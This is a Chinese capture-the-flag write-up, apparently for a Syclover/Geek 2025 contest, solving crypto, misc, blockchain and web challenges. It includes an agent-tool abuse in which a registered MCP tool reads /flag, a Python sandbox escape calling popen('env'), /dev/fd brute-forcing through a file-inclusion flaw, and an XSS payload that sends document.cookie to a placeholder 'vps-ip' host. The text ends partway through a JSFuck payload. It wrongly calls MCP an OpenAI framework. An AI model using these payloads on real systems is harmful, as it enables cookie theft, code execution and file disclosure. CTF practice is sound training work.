Q = 17609948494254197001867062519311260077211984293151667548900416829700969294407535620672384674573058455384106178087491089816127503299076697261227000724815039612665504495756229918248399034320834393598470026243543589231473237419452687730543063603595465136115669723541948895463396554918071128531213060909364601656950027389056898604223267691455263897256898136680792549706073818306730228357683709696946839634919997675816794970587698373035672596923359143664093017904285058387254576603859313018778309521049338455162936103498885466949142273058671319832535869174839812056921940398538003527621201520818008358558845582594247420459
P = 20652887190957239284631175340003902315126211938181093064207269195242550094032224965692251651673103425027250767184928851917797759012986735534298162794316194395592379533545344962294078494289760237724601340062723352085300184175255877738749851041498543752865574186669040985787587644798823596547499014922063118523650392438320527012937021768573183057529502842126637960161988353588863260221824429222676866093636690824910541149705709054550563060623762529654624849373383560043169934394338959338517866931347066483777887082048559999731906556171653815355183514550470420842104873391074567329742472001229790402635829640092130822763


# part1
# https://github.com/Aslan-256/crypto-ctf/blob/fe9d4f69d11fd781b69eb011cb63470cda598b11/cryptohack/lattices/learning_with_errors_1/lwe_high_bits_msg/sol.py

n1 = 64
p1 = 257
q1 = 65537
delta = int(round(q1/p1))

def lwe_decrypt(A, b, S, delta, q):
n = len(S)
# Compute the inner product <A, S>
inner_product = sum(A[i] * S[i] for i in range(n)) % q
# Compute x = b - <A, S> mod q
x = (b - inner_product) % q
# Compute m = round(x / delta)
m = round(x / delta)
return m

m = lwe_decrypt(A, b, S, delta, q1)
print(m)

# 91

# part2
#羊城杯2020 LRSA

inner = sum(a * s for a, s in zip(A, S)) % q1
c = c_inner + inner
p = p_m + m
q = n // p


f = (p-1)*(q-1)
d = inverse(e, f)
m = pow(c, d, n)
print(long_to_bytes(m))

# b'SYC{y0u_sh0u1d_learn_a_l0t_a0bout_LLL}'

S_box

我的思绪混乱,堕入了混沌的海洋,上面有馄炖,有点饿.能在我饿死之前把我救出这片混淆吗.

给了key和iv,直接解AES:

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Util.Padding import pad, unpad
from Crypto.Util.number import *
from Crypto.Cipher import AES

k=42919069819233993628185922929020183702
key=long_to_bytes(k)
Cipher=b'\x18\xaf\x11\xbe:z7\xef?#\xcd\x9c\xb2\xf3@\x0fV\xb46-Ph\xb3y!\xb8;\xb3$\xf8\xcf\x93\xed\x81\xcb6\x19\xeei\xbb\x08r5\x8b\x89=\x95\x19'
IV=b"E\x11\xa4\xc6\xab\x1dH\xb1'>\x89\x8f\xe6m\n<"

aes = AES.new(key, AES.MODE_CBC, IV)
print(aes.decrypt(Cipher))

b'SYC{SS_B0xx_I1s_ver1y_Differe1c999c}\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c'

MISC

HTTP

管理员抓到一段可疑的流量,请从中还原被窃取的信息

Wireshark分析流量文件的HTTP流量,找到三段:

1
2
3
GET /pixel.gif?d=U1lDe1JfVV9BXw%3D%3D&s=00&r=0eeox3ps HTTP/1.1
GET /pixel.gif?d=RjBSM05TMUM1&s=01&r=h20hlp0i HTTP/1.1
GET /pixel.gif?d=X01BU1RFUj99&s=02&r=lywbp18i HTTP/1.1

提取d参数字符串,base64解码拼接得flag:

SYC{R_U_A_F0R3NS1C5_MASTER?}

🗃️🗃️

GSBP师傅在外出比赛结束后,打算到当地景点游览一番,他到了一个景点之后,感觉环境非常不错,让人心旷神怡,于是拍了张图片发到了社交媒体。你是一名小黑客,你能找到他现在在哪里吗
flag为SYC{城市_景点名称}
示例:SYC{成都市_武侯祠}

百度识图,容易定位到相似场景:

SYC{北京市_天坛公园}

evil_mcp

mcp是啥?和ai还有关系吗,看一看

MCP = Model Context Protocol,是 OpenAI 的新框架,用于在模型上下文中动态加载“工具(Tools)”。

在这个 CTF 环境中,AI 对话左侧就是一个 MCP Agent,右侧的“工具”区是你能注册的 Python 工具。

新建工具并尝试读取文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from typing import Any

@tool(
name="evil_reader",
description="尝试读取服务器文件",
input_schema={
"type": "object",
"properties": {
"path": {"type": "string", "description": "/flag"}
},
"required": ["path"]
}
)
async def evil_reader(arguments: dict[str, Any], context: ToolExecutionContext) -> ToolResult:
try:
with open(arguments["path"], "r") as f:
data = f.read()
return ToolResult(content=data)
except Exception as e:
return ToolResult(content=str(e))

tool = evil_reader

保存工具,然后对话框发:

1
evil_reader

得到结果:

1
2
3
4
5
6
7
{"content": "SYC{019a190587e77d26b51a1e7b914049e0}\n", "metadata": {}}

您成功读取了 `/flag` 文件内容,其中包含的 flag 为:
**SYC{019a190587e77d26b51a1e7b914049e0}**

这通常是一个 CTF(夺旗赛)或安全练习中的 flag 格式。如果您需要进一步分析或验证该 flag 的有效性,请告知具体需求!
(注意:在真实环境中,未经授权读取此类文件可能涉及安全风险,请确保操作符合合法合规要求。)

Bite off picture

只有我做misc的第一步是打开010吗

010editor查看zip末尾:==gcyV2dyV2d,反转base64解码:werwerr

解压后修改png图片高度得flag:

SYC{mi3c_13_really_fun!!!!!}

1Z_Sign

主网这笔交易交互池子的费率0x1d3040872d9c3d15d47323996926c2aa5c7b636fc7209f701301878dcf438598

在 Etherscan 查找该交易:

1
https://etherscan.io/tx/0x1d3040872d9c3d15d47323996926c2aa5c7b636fc7209f701301878dcf438598

找 Logs 部分,查看日志数据里的 fee 字段:

image-20251029113524718

对应 Uniswap V3 feeTier ↔ 百分比 映射,fee 字段是 9900,flag就是:

SYC{0.99%}

Blockchain SignIn

奇怪的交易(sepolia testnet):0x208e0465ea757073d0ec6af9094e5404ef81a213970eb580fa6a28a3af4669d6

查找 sepolia etherscan:

1
https://sepolia.etherscan.io/tx/0x208e0465ea757073d0ec6af9094e5404ef81a213970eb580fa6a28a3af4669d6

在 Input Data里找到flag:

image-20251029113719264

SYC{w3b3_g4m3_st4rt}

Dream

小明昨晚梦见一个很奇怪的sepolia地址0xd8B361E50174c4Ae99E31dCdF10B353C961f9C43,于是他决定去看看。

查找 sepolia etherscan:

1
2
https://sepolia.etherscan.io/address/0xd8B361E50174c4Ae99E31dCdF10B353C961f9C43
https://sepolia.etherscan.io/tx/0x73b9501b80b56abba14d032481f5dd1377fa1e97e4e1bd0f90a0cb0e346f18dc

有数据:

1
0x6080604052348015600e575f80fd5b5060c980601a5f395ff3fe6080604052348015600e575f80fd5b50600436106026575f3560e01c8063cf9a197d14602a575b5f80fd5b60306044565b604051603b9190607c565b60405180910390f35b5f775359437b77336c63306d337430626c30636b636861316e7d805f5260205ff35b5f819050919050565b6076816066565b82525050565b5f602082019050608d5f830184606f565b9291505056fea2646970667358221220974b3f216c3631b694b1fb0452f8c8c6ab797a24697c62ebd80b250622b805e864736f6c63430008190033

SYC{w3lc0m3t0bl0ckcha1n}

Points

小明看完突然想起13号挂的科目下午13点就要补考了,于是请你帮他补考并给出13个比特币的报价。你能拿满分吗?

hint: 测试币获取:https://sepolia-faucet.pk910.de/

非预期。

去0x877e0B8fB7090C5e60eE5f605f8b67281aD4036C 界面:
https://sepolia.etherscan.io/address/0x877e0B8fB7090C5e60eE5f605f8b67281aD4036C

找一个交易:
https://sepolia.etherscan.io/tx/0xc0a8f04c3f98ae58766610f95cf99095986f87c84b0f2ac68244de223d15d8a8

取来源的合约地址:0x7252CA3Ae2C13AB09AE0650a94c281BfbE22e959

提交得到flag:

1
http://019a3fa9-0bfb-794b-afc3-aba0381ec1e1.geek.ctfplus.cn/check/0x7252CA3Ae2C13AB09AE0650a94c281BfbE22e959?condition=0x7252CA3Ae2C13AB09AE0650a94c281BfbE22e959

SYC{You_gOt_A1l_P0ints!}

Mission Ghost Signal

特工,我们在对Eternal Summer节点的常规调查中找到了一些异常。
一个从未被发现的节点频段,重复广播着奇怪的数据流。我们尝试对这个数据流进行追溯复原,得到了加密的归档。文件所使用的压缩方式十分古老,现在由你去调查,发掘一些有用的信息。

AES-CBC算法,发现不是标准参数。

1
2
key = b"Syclover2025Geek"
iv = b"1145141145144332"

动调比对,发现S盒变化,动调取出S盒。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
# ==========================================================
# 纯 Python AES-CBC 加解密实现(无任何外部库)
# 支持 AES-128/192/256,标准 PKCS#7 填充
# ==========================================================

wx = [0x53, 0x79, 0x63, 0x6C, 0x6F, 0x76, 0x65, 0x72, 0x32, 0x30,
0x32, 0x35, 0x47, 0x65, 0x65, 0x6B, 0x60, 0x4B, 0xB4, 0x06,
0x0F, 0x3D, 0xD1, 0x74, 0x3D, 0x0D, 0xE3, 0x41, 0x7A, 0x68,
0x86, 0x2A, 0xB1, 0x96, 0x44, 0x84, 0xBE, 0xAB, 0x95, 0xF0,
0x83, 0xA6, 0x76, 0xB1, 0xF9, 0xCE, 0xF0, 0x9B, 0x3C, 0x08,
0x9C, 0x85, 0x82, 0xA3, 0x09, 0x75, 0x01, 0x05, 0x7F, 0xC4,
0xF8, 0xCB, 0x8F, 0x5F, 0x62, 0x46, 0x81, 0x2E, 0xE0, 0xE5,
0x88, 0x5B, 0xE1, 0xE0, 0xF7, 0x9F, 0x19, 0x2B, 0x78, 0xC0,
0x13, 0x5C, 0x82, 0x54, 0xF3, 0xB9, 0x0A, 0x0F, 0x12, 0x59,
0xFD, 0x90, 0x0B, 0x72, 0x85, 0x50, 0x96, 0xA5, 0xA1, 0xFE,
0x65, 0x1C, 0xAB, 0xF1, 0x77, 0x45, 0x56, 0x61, 0x7C, 0x37,
0xD3, 0x31, 0xB8, 0x74, 0x5D, 0x5E, 0xDD, 0x68, 0xF6, 0xAF,
0xAA, 0x2D, 0xA0, 0xCE, 0xD6, 0x1A, 0x73, 0xFF, 0x33, 0x85,
0xE4, 0x28, 0xEE, 0xED, 0x12, 0x87, 0x44, 0xC0, 0xB2, 0x49,
0x92, 0xDA, 0xC1, 0xB6, 0x73, 0x45, 0xB9, 0x7B, 0x9D, 0xA8,
0xAB, 0xFC, 0xD9, 0x68, 0x19, 0xB5, 0x4B, 0xB2, 0xD8, 0x03,
0x9F, 0x83, 0x16, 0x97, 0x02, 0x2B, 0xBD, 0x6B, 0xDB, 0x43,
0xA4, 0xDE, 0x90, 0xF1, 0x7C, 0xDD]
w = [wx[4*i:4*i+4] for i in range(44)]

# -----------------------------
# AES S-box 与逆 S-box
# -----------------------------
'''
s_box = [
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16,
]
'''

s_box = [0xA7, 0xB8, 0x36, 0xAF, 0x0E, 0x46, 0x3E, 0x9D, 0xCD, 0x47,
0xDF, 0xAA, 0x97, 0x15, 0xE4, 0x38, 0x6B, 0x66, 0x04, 0xB6,
0xEF, 0xA3, 0xB2, 0x6F, 0xFD, 0x7A, 0x0B, 0x9C, 0x77, 0x12,
0x40, 0xEB, 0x94, 0xF8, 0x81, 0x3D, 0xD4, 0x3B, 0x78, 0x72,
0xB5, 0x1C, 0xF0, 0x61, 0x2F, 0xE3, 0xC3, 0xD6, 0x31, 0xFC,
0x4B, 0x84, 0x41, 0xF7, 0x3F, 0x6E, 0x5E, 0xC1, 0x07, 0xE7,
0x08, 0x33, 0xE2, 0x57, 0xA6, 0x68, 0xBD, 0x20, 0x2E, 0x30,
0xCC, 0x6A, 0x2D, 0x43, 0x1B, 0xEC, 0xCB, 0xE9, 0xD2, 0x7F,
0x23, 0x0C, 0x49, 0x11, 0x24, 0xF6, 0x8D, 0xC2, 0x48, 0x65,
0x7B, 0x22, 0x25, 0x3C, 0xAD, 0x1D, 0x02, 0x70, 0xEA, 0xE1,
0xCA, 0x32, 0xA2, 0x71, 0xD3, 0x80, 0x28, 0xD7, 0x4C, 0x54,
0x18, 0x8B, 0x42, 0x05, 0xA5, 0xF1, 0x8F, 0x79, 0x2C, 0x19,
0x1A, 0x9A, 0x82, 0x2A, 0xA0, 0x99, 0x00, 0x63, 0x7C, 0xD0,
0xCF, 0x1F, 0xBA, 0xF9, 0xDD, 0xB7, 0x93, 0x7D, 0xD9, 0x5A,
0xB0, 0xDB, 0x4F, 0x4E, 0xC8, 0x09, 0x53, 0x9B, 0x45, 0xA4,
0xEE, 0xE6, 0xBC, 0x7E, 0x62, 0xD8, 0xFA, 0xB4, 0xC7, 0x8C,
0x86, 0xAC, 0x4D, 0xC9, 0x4A, 0x50, 0x5C, 0xD5, 0x8A, 0x6D,
0xF3, 0xA9, 0xE0, 0x98, 0xFE, 0xCE, 0x91, 0x0A, 0xDA, 0x5F,
0x90, 0x74, 0x5D, 0x85, 0x51, 0x55, 0x17, 0x06, 0xBE, 0xA1,
0x92, 0xA8, 0x03, 0xC0, 0x52, 0xDC, 0x39, 0x73, 0xFB, 0xF2,
0x67, 0x95, 0x59, 0x56, 0x2B, 0x14, 0x89, 0x87, 0x21, 0x35,
0xF5, 0xD1, 0x44, 0x26, 0x76, 0xB1, 0xC6, 0xBB, 0x5B, 0x6C,
0x1E, 0xE5, 0x37, 0x16, 0x88, 0x8E, 0x0F, 0xAE, 0x27, 0xED,
0xFF, 0x96, 0x60, 0x58, 0x10, 0x69, 0x13, 0x3A, 0xC5, 0xF4,
0x9E, 0x64, 0xE8, 0xDE, 0x75, 0x9F, 0xC4, 0x29, 0xAB, 0x01,
0xB3, 0xBF, 0x83, 0x34, 0x0D, 0xB9]

inv_s_box = [0]*256
for i, v in enumerate(s_box):
inv_s_box[v] = i

Rcon = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36]

# -----------------------------
# 辅助函数
# -----------------------------
def xor_bytes(a, b):
return bytes(i ^ j for i, j in zip(a, b))

def pkcs7_pad(data, block_size=16):
pad_len = block_size - (len(data) % block_size)
return data + bytes([pad_len]) * pad_len

def pkcs7_unpad(data):
pad_len = data[-1]
if not 1 <= pad_len <= 16:
raise ValueError("Invalid padding")
if data[-pad_len:] != bytes([pad_len]) * pad_len:
raise ValueError("Bad PKCS#7 padding")
return data[:-pad_len]

def sub_bytes(state):
return [s_box[b] for b in state]

def inv_sub_bytes(state):
return [inv_s_box[b] for b in state]

def shift_rows(state):
out = [0]*16
for r in range(4):
for c in range(4):
out[4*c + r] = state[4*((c + r) % 4) + r]
return out

def inv_shift_rows(state):
out = [0]*16
for r in range(4):
for c in range(4):
out[4*c + r] = state[4*((c - r) % 4) + r]
return out

def xtime(a):
return ((a << 1) ^ 0x1B) & 0xFF if (a & 0x80) else (a << 1)

def mix_single_column(col):
t = col[0] ^ col[1] ^ col[2] ^ col[3]
u = col[0]
col[0] ^= t ^ xtime(col[0] ^ col[1])
col[1] ^= t ^ xtime(col[1] ^ col[2])
col[2] ^= t ^ xtime(col[2] ^ col[3])
col[3] ^= t ^ xtime(col[3] ^ u)

def mix_columns(s):
for c in range(4):
col = s[c*4:(c+1)*4]
mix_single_column(col)
s[c*4:(c+1)*4] = col
return s

def inv_mix_columns(s):
for c in range(4):
col = s[c*4:(c+1)*4]
u = xtime(xtime(col[0] ^ col[2]))
v = xtime(xtime(col[1] ^ col[3]))
col[0] ^= u
col[1] ^= v
col[2] ^= u
col[3] ^= v
mix_single_column(col)
s[c*4:(c+1)*4] = col
return s

def bytes2matrix(b):
return [list(b[i:i+4]) for i in range(0, len(b), 4)]

def matrix2bytes(m):
return bytes(sum(m, []))

# -----------------------------
# Key Expansion
# -----------------------------
def key_expansion(key):
Nk = len(key) // 4
Nr = Nk + 6
w = [list(key[4*i:4*(i+1)]) for i in range(Nk)]
for i in range(Nk, 4*(Nr+1)):
temp = w[i-1][:]
if i % Nk == 0:
temp = temp[1:] + temp[:1]
temp = [s_box[b] for b in temp]
temp[0] ^= Rcon[(i//Nk)-1]
elif Nk > 6 and i % Nk == 4:
temp = [s_box[b] for b in temp]
w.append([a ^ b for a, b in zip(w[i-Nk], temp)])
return w

def add_round_key(s, w):
for c in range(4):
for r in range(4):
s[4*c + r] ^= w[c][r]
return s

def encrypt_block(block, w):
s = list(block)
Nr = len(w)//4 - 1
s = add_round_key(s, w[0:4])
for rnd in range(1, Nr):
s = sub_bytes(s)
s = shift_rows(s)
s = mix_columns(s)
s = add_round_key(s, w[4*rnd:4*(rnd+1)])
s = sub_bytes(s)
s = shift_rows(s)
s = add_round_key(s, w[4*Nr:4*(Nr+1)])
return bytes(s)

def decrypt_block(block, w):
s = list(block)
Nr = len(w)//4 - 1
s = add_round_key(s, w[4*Nr:4*(Nr+1)])
for rnd in range(Nr-1, 0, -1):
s = inv_shift_rows(s)
s = inv_sub_bytes(s)
s = add_round_key(s, w[4*rnd:4*(rnd+1)])
s = inv_mix_columns(s)
s = inv_shift_rows(s)
s = inv_sub_bytes(s)
s = add_round_key(s, w[0:4])
return bytes(s)

# -----------------------------
# AES-CBC 模式封装
# -----------------------------
def aes_cbc_encrypt(plaintext: bytes, key: bytes, iv: bytes) -> bytes:
w = key_expansion(key)
plaintext = pkcs7_pad(plaintext)
blocks = [plaintext[i:i+16] for i in range(0, len(plaintext), 16)]
enc = []
prev = iv
for blk in blocks:
xored = xor_bytes(blk, prev)
c = encrypt_block(xored, w)
enc.append(c)
prev = c
return b"".join(enc)

def aes_cbc_decrypt(ciphertext: bytes, key: bytes, iv: bytes) -> bytes:
w = key_expansion(key)
blocks = [ciphertext[i:i+16] for i in range(0, len(ciphertext), 16)]
dec = []
prev = iv
for blk in blocks:
p = decrypt_block(blk, w)
dec.append(xor_bytes(p, prev))
prev = blk
data = b"".join(dec)
# return pkcs7_unpad(data)
return data

# -----------------------------
# 测试
# -----------------------------
key = b"Syclover2025Geek"
iv = b"1145141145144332"

ct = bytes([0xB2, 0xB3, 0xDC, 0xB9, 0xF8, 0xD6, 0x93, 0xFF, 0xB5, 0xA1, 0xCC, 0x2A, 0x6F, 0xDE, 0x27, 0x44, 0xAF, 0x21, 0x98, 0xDD, 0x00, 0xC1, 0x0D, 0x1C, 0x53, 0x06, 0x81, 0x3E, 0x16, 0xAB, 0xDF, 0x13])

pt = aes_cbc_decrypt(ct, key, iv)
print(pt)


# b'We_ve_Trapped_in_The_Sink\x07\x07\x07\x07\x07\x07\x07'

解压1nn3r.wav,SSTV

sstv -d Signal-2086-1-1/1nn3r.wav

图片二维码,扫码:

https://wwnr.lanzoum.com/iIjAG39n7mlg

得到secret.wav,摩斯密码:

morse2ascii.exe .\secret.wav

得到:

1
55  31  6c  44  65  7a  64  6f  4d  54  56  66  4d  56  4e  66  4e  46  38  35  63  6a  52  75  52  46  39  6a  4d  45  34  31  63  44  46  79  51  47  4e  5a  4c  6e  30  3d

16进制转字符,再base64解码:

SYC{7h15_1S_4_9r4nD_c0N5p1r@cY.}

Expression Parser

看起来只能解析 Python 表达式

找到 os._wrap_close,然后取到 os,rce。

1
[].__class__.__base__.__subclasses__()[155].__init__.__globals__['popen']('env').read()

SYC{decent_jail_breaker_019a3a5971d571f5b833a00998e6c396}

hidden

Samsara:word的本质是什么?
:叽里咕噜说什么呢不如去整点薯条

第一段,word/document.xml:

1
SYC{adsad

第二段,doc/word.txt:

1
flag2:MzYyZ2V5ZGd3dW5rZHdlZQ==

base64解:362geydgwunkdwee

第三段,doc/flag3.jpg,缺少文件头 FF D8 FF,补充得到:sjdmd}

合并flag:SYC{adsad362geydgwunkdweesjdmd}

CRDT

你找到了一份协同编辑器的操作日志。请还原收敛后的最终文档

协同编辑器的操作日志(CRDT 风格),文档最终顺序依赖每个插入操作的 parent 字段,并且要忽略已经被删除的元素。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import json

# 从文件读取日志,或者直接把日志赋值给 ops
with open("ops.json", "r", encoding="utf-8") as f:
ops = json.load(f)

# 用字典存储每个节点的信息
nodes = {}
deleted = set()

# 先处理所有删除操作
for op in ops:
if op["op"] == "del":
deleted.add(op["id"])

# 处理插入操作
for op in ops:
if op["op"] == "ins":
nodes[op["id"]] = {
"ch": op["ch"],
"parent": op.get("parent"),
"children": []
}

# 构建父子关系
for node_id, node in nodes.items():
parent_id = node["parent"]
if parent_id in nodes:
nodes[parent_id]["children"].append(node_id)

# 递归获取文本
def build_text(node_id):
if node_id in deleted:
return ""
node = nodes[node_id]
result = node["ch"]
# 按 ctr 或者插入顺序排列 children 可以提高稳定性
for child_id in node["children"]:
result += build_text(child_id)
return result

# 找到根节点(parent=HEAD)
roots = [nid for nid, n in nodes.items() if n["parent"] == "HEAD"]

final_text = ""
for root in roots:
final_text += build_text(root)

print(final_text)


# SYC{CRDT_RGA_CHALLENGE_IS_SO_EASY}

gift

他踏上了瓷砖上很滑他叫我别往前走我没听清一脚踏上去我俩跟玩花滑似的 不经意间抬头的时候发现伞全在我这边把我罩的严严实实的他弯腰把我环住半边袖子都是雪花 在街边路口买了一盒话梅他喂了俩颗进我嘴里 那一刻的感觉就是“我们不谈恋爱,我们私奔”

zip末尾:ZzFmdA==

base64解码得:g1ft

解压,得到watermark.BMP,盲水印提取flag:

SYC{IT3_gift-f0r-you}

4ak5ra

flag中间没空格
sakura因为喜欢藏东西所以被骂了一顿。后面我过去的时候他蹲在地上画圈圈,我上前看到他在圈里写了三个神秘字母:LSB

jpg末尾有zip,提取出png:

zsteg -a 4akra.png

得到:

1
b1,rgb,lsb,xy       .. text: "5SYC{Im_waiting_for_Sakura_t0_become_a_top_pwn_master}$"

SYC{Im_waiting_for_Sakura_t0_become_a_top_pwn_master}

问卷

https://wj.qq.com/s2/24940840/acfb/

答问卷。

WEB

阿基里斯追乌龟

在古希腊,英雄阿基里斯和一只乌龟赛跑。阿基里斯的速度是乌龟的十倍。比赛开始时,乌龟在阿基里斯前面100米。芝诺悖论认为,当阿基里斯追到乌龟的出发点时,乌龟已经又向前爬了一段距离。当阿基里斯再追到那个位置时,乌龟又向前爬了。如此无限循环,阿基里斯似乎永远也追不上乌龟。他真的追不上吗?

bp抓包,解析json中的base64:

1
2
3
4
POST /chase HTTP/1.1
Host: 019a1659-d28e-7d93-b878-568dfb7803fe.geek.ctfplus.cn

{"data":"eyJhY2hpbGxlc19kaXN0YW5jZSI6MTAwMDAwMDAwMDAsInRvcnRvaXNlX2Rpc3RhbmNlIjoxMTAwMDAwMDAwMH0="}

解码:

1
{"achilles_distance":10000000000,"tortoise_distance":11000000000}

修改为:

1
{"achilles_distance":10000000000,"tortoise_distance":1}

修改http请求:

1
2
3
4
POST /chase HTTP/1.1
Host: 019a1659-d28e-7d93-b878-568dfb7803fe.geek.ctfplus.cn

{"data":"eyJhY2hpbGxlc19kaXN0YW5jZSI6MTAwMDAwMDAwMDAsInRvcnRvaXNlX2Rpc3RhbmNlIjoxfQ=="}

得到:

1
{"data":"eyJmbGFnIjogIlNZQ3tTcGkxdF90aDNfVDFtZV90MF90aGVfM25kXzAxOWExNjU5ZDI3MDc1ZTdhNjkzNzI5MTNjNzgxMDg3fSJ9"}

解码得flag:

1
{"flag": "SYC{Spi1t_th3_T1me_t0_the_3nd_019a1659d27075e7a69372913c781087}"}

Vibe SEO

“我让 AI 帮我做了搜索引擎优化,它好像说什么『搜索引擎喜欢结构化的站点地图』,虽然不是很懂就是了”

根据提示的“结构化的站点地图”,访问:

1
/sitemap.xml

得到:

1
2
3
4
5
6
7
8
9
10
11
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url>
<loc>http://localhost/</loc>
<changefreq>weekly</changefreq>
</url>
<url>
<loc>http://localhost/aa__^^.php</loc>
<changefreq>never</changefreq>
</url>
</urlset>

再访问:

1
/aa__%5E%5E.php

根据报错,存在文件包含,访问:

1
/aa__%5E%5E.php?filename=aa__%5E%5E.php

查看aa__^^.php的源码:

1
2
3
4
5
6
7
<?php
$flag = fopen('/my_secret.txt', 'r');
if (strlen($_GET['filename']) < 11) {
readfile($_GET['filename']);
} else {
echo "Filename too long";
}

无flag输出,但打开了/my_secret.txt。

通常,当 fopen 打开文件时,它会使用最小的未使用文件描述符。在代码中, fopen 后没有关闭,所以文件描述符保持打开。

/proc/self/fd/ 可能有一个文件描述符指向 /my_secret.txt,但不知道id。

由于有长度11的限制,可以使用 /dev/fd/ 代替 /proc/self/fd/,然后爆破fd后的数值。

bp抓包爆破 /dev/fd/x,在:

1
/aa__%5E%5E.php?filename=/dev/fd/13

得到flag:

SYC{019a1776ba8f77988073dbc6d85a49fc}

Xross The Finish Line

表面防护

一个典型的XSS题,fuzz发现过滤了:

1
script img svg 空格 error ' "

空格用/绕过,尝试构造:

1
<textarea/autofocus/onfocus=fetch('http://vps-ip:port/?c='+document.cookie)>

由于不能用引号,字符串部分用jsfuck绕:

1
<textarea/autofocus/onfocus=fetch((+(+!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]